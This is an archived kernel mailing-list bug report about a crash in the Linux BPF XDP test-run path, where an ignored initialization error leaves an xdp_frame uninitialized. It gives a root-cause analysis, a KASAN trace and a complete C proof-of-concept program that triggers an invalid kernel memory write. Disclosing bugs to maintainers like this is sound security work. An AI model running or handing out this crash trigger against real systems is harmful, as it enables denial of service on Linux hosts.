lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <fa2be179-bad7-4ee3-8668-4903d1853461@hust.edu.cn>
Date: Thu, 18 Dec 2025 18:43:03 +0800
From: Yinhao Hu <dddddd@...t.edu.cn>
To: bpf@...r.kernel.org, netdev@...r.kernel.org
Cc: "dzm91@...t.edu.cn" <dzm91@...t.edu.cn>, M202472210@...t.edu.cn,
 ast@...nel.org, daniel@...earbox.net, andrii@...nel.org,
 martin.lau@...ux.dev, eddyz87@...il.com, song@...nel.org,
 yonghong.song@...ux.dev, john.fastabend@...il.com, kpsingh@...nel.org,
 sdf@...ichev.me, haoluo@...gle.com, jolsa@...nel.org, davem@...emloft.net,
 edumazet@...gle.com, kuba@...nel.org, pabeni@...hat.com, horms@...nel.org,
 hust-os-kernel-patches@...glegroups.com
Subject: bpf: xdp: unhandled error in xdp_test_run_init_page() leads to crash

Our fuzzer tool discovered a user-memory-access vulnerability in the BPF
subsystem. The vulnerability is triggered when building an `sk_buff`
from an XDP frame that has not been properly initialized due to an
unhandled initialization failure, causing the kernel to access an
invalid memory address.

Reported-by: Yinhao Hu <dddddd@...t.edu.cn>
Reported-by: Kaiyan Mei <M202472210@...t.edu.cn>
Reviewed-by: Dongliang Mu <dzm91@...t.edu.cn>

## Root Cause

`xdp_test_run_setup()` attempts to create a `page_pool` with the page
initialization callback `xdp_test_run_init_page()`.

During page initialization, `xdp_test_run_init_page()` calls
`xdp_update_frame_from_buff()` to initialize an `xdp_frame`. However, if
the available headroom in the associated `xdp_buff` is insufficient,
`xdp_update_frame_from_buff()` returns an error. This error is not
handled by `xdp_test_run_init_page()`, leaving the `xdp_frame`
uninitialized.

Later, `xdp_test_run_batch()` retrieves this `xdp_frame` from the
`page_pool`. Although it may attempt to partially reinitialize the frame
via `reset_ctx()`, the failure from `xdp_update_frame_from_buff()` is
still ignored.

Finally, `__xdp_build_skb_from_frame()` attempts to construct an
`sk_buff` from the uninitialized `xdp_frame`. It reads uninitialized
members (e.g., `data`, `headroom`, `frame_sz`) to compute a `hard_start`
address, which is then passed to `build_skb_around()`. The underlying
`__build_skb_around()` attempts to write to this invalid address,
resulting in a kernel crash.

## Execution Flow Visualization

```
Vulnerability Execution Flow
|
|--- 1. An XDP program is loaded with act XDP_PASS
|
|--- 2. `bpf(BPF_PROG_TEST_RUN, ...)` Syscall Execution
|    |
|    `-- bpf_test_run_xdp_live
|        |
|        `-- xdp_test_run_setup
|        |   |
|        |   `--> page_pool_create() with init callback
xdp_test_run_init_page()
|        |         |
|        |         `--> xdp_update_frame_from_buff() may fail, but error
is ignored, leaving xdp_frame uninitialized
|        |
|        `-- xdp_test_run_batch
|             |
|             |--> page_pool_dev_alloc_pages() returns page with
uninitialized xdp_frame
|             |
|             `--> xdp_recv_frames
|                   |
|                   |--> __xdp_build_skb_from_frame() reads
uninitialized xdpf members, computes invalid hard_start address, passes
it to build_skb_around()
|                   |
|                   `--> __build_skb_around() writes to invalid address
-> CRASH
```

## Reproduction Steps

1. **Load an XDP program**: Load an XDP program with instructions `{r0 =
XDP_PASS; exit}`, which ensures the XDP test-run path proceeds to skb
construction instead of terminating early.
2. **Trigger**: Invoke `BPF_PROG_TEST_RUN` with the loaded XDP program.

## KASAN Report

```yaml
[   60.463928][ T9792]
==================================================================
[   60.464637][ T9792] BUG: KASAN: user-memory-access in
__build_skb_around+0x227/0x320
[   60.465305][ T9792] Write of size 32 at addr 00000000608c4129 by task
poc/9792
[   60.465919][ T9792]
[   60.466121][ T9792] CPU: 0 UID: 0 PID: 9792 Comm: poc Not tainted
6.19.0-rc1-next-20251217 #11 PREEMPT(full)
[   60.466126][ T9792] Hardware name: QEMU Ubuntu 24.04 PC (i440FX +
PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   60.466128][ T9792] Call Trace:
[   60.466131][ T9792]  <TASK>
[   60.466134][ T9792]  dump_stack_lvl+0x78/0xe0
[   60.466141][ T9792]  kasan_report+0xc6/0x100
[   60.466155][ T9792]  kasan_check_range+0x105/0x1b0
[   60.466160][ T9792]  __asan_memset+0x23/0x50
[   60.466165][ T9792]  __build_skb_around+0x227/0x320
[   60.466171][ T9792]  build_skb_around+0x25/0x210
[   60.466175][ T9792]  __xdp_build_skb_from_frame+0xfc/0x860
[   60.466184][ T9792]  xdp_test_run_batch.constprop.0+0x1305/0x1c70
[   60.466240][ T9792]  bpf_test_run_xdp_live+0x2fe/0x640
[   60.466295][ T9792]  bpf_prog_test_run_xdp+0xb5a/0x1730
[   60.466328][ T9792]  __sys_bpf+0x632/0x3b30
[   60.466394][ T9792]  __x64_sys_bpf+0x78/0xc0
[   60.466405][ T9792]  do_syscall_64+0xc9/0xf80
[   60.466411][ T9792]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   60.466415][ T9792] RIP: 0033:0x41235d
[   60.466418][ T9792] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3
0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c
24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 c0 ff ff ff f7 d8 64
89 01 48
[   60.466421][ T9792] RSP: 002b:00007ffc9d88ec48 EFLAGS: 00000206
ORIG_RAX: 0000000000000141
[   60.466426][ T9792] RAX: ffffffffffffffda RBX: 0000000000000001 RCX:
000000000041235d
[   60.466428][ T9792] RDX: 0000000000000050 RSI: 00002000000027c0 RDI:
000000000000000a
[   60.466430][ T9792] RBP: 00007ffc9d88ec60 R08: 00007ffc9d88ec70 R09:
00007ffc9d88ec70
[   60.466433][ T9792] R10: 0000000000000000 R11: 0000000000000206 R12:
00007ffc9d88ed78
[   60.466435][ T9792] R13: 00007ffc9d88ed88 R14: 00000000004a5f68 R15:
0000000000000001
[   60.466444][ T9792]  </TASK>
[   60.466446][ T9792]
==================================================================
```

## Proof of Concept

The following C program should demonstrate the vulnerability on
linux-next commit 12b95d29eb979e5c4f4f31bb05817bc935c52050 and bpf-next
commit ec439c38013550420aecc15988ae6acb670838c1:

```c
#define _GNU_SOURCE

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len)
*(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off),
(bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))

uint64_t r[1] = {0xffffffffffffffff};

int main(void)
{
	syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul,
/*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
	syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul,
/*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
	syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul,
/*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
	const char* reason;
	(void)reason;
	intptr_t res = 0;
	
	if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
	*(uint32_t*)0x200000000c80 = 6;
	*(uint32_t*)0x200000000c84 = 2;
	*(uint64_t*)0x200000000c88 = 0x200000000d40;
	*(uint8_t*)0x200000000d40 = 0xb7;
	STORE_BY_BITMASK(uint8_t, , 0x200000000d41, 0, 0, 4);
	STORE_BY_BITMASK(uint8_t, , 0x200000000d41, 0, 4, 4);
	*(uint16_t*)0x200000000d42 = 0;
	*(uint32_t*)0x200000000d44 = 2;
	*(uint8_t*)0x200000000d48 = 0x95;
	STORE_BY_BITMASK(uint8_t, , 0x200000000d49, 0, 0, 4);
	STORE_BY_BITMASK(uint8_t, , 0x200000000d49, 0, 4, 4);
	*(uint16_t*)0x200000000d4a = 0;
	*(uint32_t*)0x200000000d4c = 0;
	*(uint64_t*)0x200000000c90 = 0x200000000d80;
	memcpy((void*)0x200000000d80, "GPL\000", 4);
	*(uint32_t*)0x200000000c98 = 0;
	*(uint32_t*)0x200000000c9c = 0;
	*(uint64_t*)0x200000000ca0 = 0;
	*(uint32_t*)0x200000000ca8 = 0;
	*(uint32_t*)0x200000000cac = 0;
	memset((void*)0x200000000cb0, 0, 16);
	*(uint32_t*)0x200000000cc0 = 0;
	*(uint32_t*)0x200000000cc4 = 0x25;
	*(uint32_t*)0x200000000cc8 = 0;
	*(uint32_t*)0x200000000ccc = 0;
	*(uint64_t*)0x200000000cd0 = 0;
	*(uint32_t*)0x200000000cd8 = 0;
	*(uint32_t*)0x200000000cdc = 0;
	*(uint64_t*)0x200000000ce0 = 0;
	*(uint32_t*)0x200000000ce8 = 0;
	*(uint32_t*)0x200000000cec = 0;
	*(uint32_t*)0x200000000cf0 = 0;
	*(uint32_t*)0x200000000cf4 = 0;
	*(uint64_t*)0x200000000cf8 = 0;
	*(uint64_t*)0x200000000d00 = 0;
	*(uint32_t*)0x200000000d08 = 0;
	*(uint32_t*)0x200000000d0c = 0;
	*(uint32_t*)0x200000000d10 = 0;
	res = syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x200000000c80ul,
/*size=*/0x94ul);
	if (res != -1)
		r[0] = res;

	*(uint32_t*)0x2000000027c0 = r[0];
	*(uint32_t*)0x2000000027c4 = 0;
	*(uint32_t*)0x2000000027c8 = 0x367;
	*(uint32_t*)0x2000000027cc = 0;
	*(uint64_t*)0x2000000027d0 = 0x200000002040;
	memcpy((void*)0x200000002040,
"\xb5\xa0\xd6\x28\xa3\xee\x73\xf2\x21\xbe\xdd\xad\x24\xe2\x82\xda\x9b\x8c\xbf\xff\x46\xe3\x62\x89\xf8\x3f\xd6\xfc\x1c\x70\x79\x1b\x11\x0f\x7c\x5d\x42\x9e\xb7\x1c\x03\x20\xe3\x63\x2f\x52\x78\xce\xb6\x73\x7a\x3e\x4b\x27\x84\x69\x3b\x1c\xb2\xe2\xac\x81\x02\xe2\xbc\xad\x5d\x59\xc0\x67\x2a\x36\x9f\x0c\x16\xe4\xc3\xdb\x87\x34\xdb\xa8\x5f\x13\xc1\x11\xc3\x52\xd9\x28\xce\x12\x4b\xfc\x05\x0a\x47\x60\xe8\xe2\x92\xe1\x15\xd0\x9a\xf6\xd5\x51\x40\x4b\x01\x13\x49\xe9\xd6\xac\xaf\x72\xbb\x60\xdc\x13\x3a\xe3\x83\xe4\xe7\x54\x9f\x2d\xe1\x2d\x87\xe0\x3c\xae\x38\x33\x5d\xb3\x81\x1d\x99\x25\xc2\xac\x98\xf4\xa9\xb1\x11\x5b\x46\xed\x92\x5d\x5f\x68\x02\x62\x1d\xef\x45\xa2\x6d\xd0\x2c\xd9\x83\x45\xbe\x23\x47\x1c\xe0\x36\xd7\xe2\xd0\x00\x14\x35\xcf\x2b\x43\x81\xaa\xe1\x86\xa1\xbb\x89\x9c\x23\x3c\xdf\x0b\x16\xab\xd9\x01\xb3\x5d\x37\xe4\x7c\x3c\x0d\xb2\x07\x22\xbe\xad\x2c\xd0\xe8\x18\x91\xdb\xcb\x22\x23\x10\xf8\x77\xd5\x09\xe1\x60\x4e\x33\x8d\x34\x72\x32\xd9\xe0\xc4\x67\x8c\xc6\x6a\xea\x5f\xc4\xc2\x5b\xad\x12\x0a\xfd\x06\x14\xd6\x80\x52\x54\x88\x14\x3e\x69\xc8\xd9\x74\x54\xf1\x7f\x9a\x70\xe6\x1e\xce\x97\x73\x1d\xb5\x0d\x05\xc9\xbe\x05\x51\x73\x1a\x55\x86\xed\xdd\x1c\xbb\xcf\x71\xf2\x88\x55\x8a\x8a\x01\x66\x29\x6f\x2b\x4e\x05\x8c\x83\x41\xb9\x49\xc7\x0b\x7b\x38\x13\x16\x1f\x7d\x22\x4b\x81\x67\x39\xe4\xde\xfa\x92\x11\x04\xfd\x9d\xc8\x91\x3e\xcd\x60\x3d\x0c\x93\x6d\xad\xdd\x1c\x8e\xb2\x0e\xfd\x00\xea\xef\x91\xda\x98\x96\x6b\xda\x95\x50\xa0\xcb\xd9\xc6\xb3\x3b\x64\xbc\xa4\xd1\xed\xe2\x23\x6b\x41\xf0\xf8\x99\x6e\x01\x3e\x9c\x04\x84\x6e\x88\x45\x4c\x55\x07\x69\xef\x63\xc2\xb2\x86\x6f\x45\xb2\xad\x0f\x2c\x42\xc1\x5e\x46\x25\x23\x18\x3b\x31\xb4\x98\xeb\x78\x86\x17\x55\x0b\x67\x2a\xe8\x22\x6b\x46\xb1\xb4\xfa\x2e\x36\xe1\xbb\x83\xf6\xd7\xa2\x85\x98\x4c\x9b\xbd\x11\x5d\x08\x7b\xa3\xb0\xe9\x35\xc1\xfc\x7d\x74\xb5\xbd\x40\x4c\x63\xa6\x7f\x70\xa0\x9b\xf0\xcd\x70\xa0\xc0\xb6\xf4\xee\x3f\xa1\x7b\x51\x07\x36\x95\xcb\x47\x7e\x62\x23\xfa\xf3\x2c\x85\x45\x94\xa6\x8f\x01\x6a\x51\xe8\x4c\xd6\x70\x32\xfd\xe5\xda\x07\x02\x98\x48\xb2\x3d\xb4\xf2\x8a\x2a\x52\x10\xdf\x93\x28\x5d\x32\xfe\xaa\x9b\x8a\xbc\x09\x4d\x1b\xad\xf0\xe2\x97\xd7\x55\x3d\x35\xd7\xcd\x9c\xaf\x80\x27\x9a\xd4\x97\xcf\x1f\xef\x76\x99\x9a\xa6\xa2\x45\xbe\x27\xbc\x3c\x53\x47\xcf\xc3\x4e\x8c\xe6\x11\xce\x53\xf6\x4f\x92\x08\x5a\x3e\xc0\x40\x2f\x3c\x4f\xdc\x6c\xf2\xe6\xb1\xe5\x32\x41\x40\x47\xe6\xfc\x20\x2f\x3c\x26\x2a\x93\xd9\xdf\xdb\x5c\x4c\x83\xfb\xef\xc5\x77\x22\xad\x30\x42\x15\xde\xe3\xbb\x11\x9b\x51\x0f\xb0\x71\xeb\xaa\x25\xcc\x71\x6c\x76\x24\x55\x6a\x20\x78\xb3\x2a\xc4\x19\x9d\xb0\x57\xd4\x35\xbf\xe3\xfc\x5f\x81\xad\xdf\xa8\x15\x9c\x8f\xe4\xa1\xcb\x56\xfd\x3d\x3f\xb9\xc7\x93\x53\x90\x73\xcc\xfd\xcf\x38\x52\xf2\x33\xaf\xf2\xe8\xef\x1e\xb7\x06\x8c\x4d\x4e\xda\x3d\xca\x7c\xaf\x54\x0d\x4b\x31\xb3\xc7\x3e\xa9\x34\x2f\x98\x8b\xdc\xc8\x41\x82\xdd\xc1\x8d\x3e\x38\x8b\x68\x2b\x2d\xb1\x8e\xac\x53\xde\xcc\xe4\xfb\xea\x48\x0b\xe5\x54\x21\x65\x2f\xfb\xad\x40\xb9\xb9\x53\x23\x7f\xd8\x21\x10\xcd\xa2\xe3\x7b\xce\x7b\x4f\xb3\x84\x65\xea\x17\xe9\xe0\xa3\x24\xd0\x92\xe8\xd6\x37\x57\xf0\xec\x7c\x93\xc7\xb1\x50\x4f\x38\x8e\x22\x43\x88\x47\xd7\x2e\x72\xcc\xf7\xfb\xd8\x39\xa7\x0a\x89\xe8\xc1\x63\x28\x72\x68\xcd\xd5\xde\x0b\x66\xeb\xd4\xbd\x68\x7a\x7e\xbb\x13\x35\x49\x4c\x82\xa6\x9d\x63\xde\x5e\x7f\x51\xd4\xdc\xd2\xf7\x99\x57\x48\xd2\x73\x2d\xd7\xb9\x98\x07\x75\x6b\xdf\xbb\xc5\x61\xf0\xf2\x2e\xa2\x2a\xdc\xc6\x7a\x8d\x18\xa0\x04\x97\xc9\x15\x47\x57\x52\xaa\x73\x41\xe0\x53\x4a\x45\xed\x11\xf6\xb0\x8f\x7a\xb2\xa7\x17\x48\xa4\x36\xc0",
871);
	*(uint64_t*)0x2000000027d8 = 0;
	*(uint32_t*)0x2000000027e0 = 7;
	*(uint32_t*)0x2000000027e4 = 0xbb6476dd;
	*(uint32_t*)0x2000000027e8 = 0xb;
	*(uint32_t*)0x2000000027ec = 0;
	*(uint64_t*)0x2000000027f0 = 0x200000000000;
	memcpy((void*)0x200000000000,
"\xf4\x00\x00\x00\x67\x03\x00\x00\x00\x00\x00", 11);
	*(uint64_t*)0x2000000027f8 = 0;
	*(uint32_t*)0x200000002800 = 2;
	*(uint32_t*)0x200000002804 = 0;
	*(uint32_t*)0x200000002808 = 0;
	syscall(__NR_bpf, /*cmd=*/0xaul, /*arg=*/0x2000000027c0ul,
/*size=*/0x50ul);
	return 0;
}
```
View attachment "config-linux-next" of type "text/plain" (275344 bytes)

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ